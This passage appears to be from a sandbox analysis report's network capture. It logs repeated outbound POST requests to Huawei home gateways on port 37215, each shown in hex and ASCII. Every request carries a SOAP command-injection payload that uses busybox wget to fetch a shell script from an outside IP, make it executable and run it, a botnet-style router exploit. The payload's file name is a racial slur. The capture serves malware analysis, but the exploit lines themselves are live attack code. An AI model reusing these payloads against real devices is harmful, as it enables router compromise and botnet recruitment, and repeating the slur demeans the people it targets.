75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	48150	45.207.136.175	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:49.918267965 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:51.473352909 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:53.297076941 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:56.944602013 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:04.367609978 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:18.957571983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:48.649455070 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	39406	45.207.135.78	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:35:49.918582916 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:35:51.473367929 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 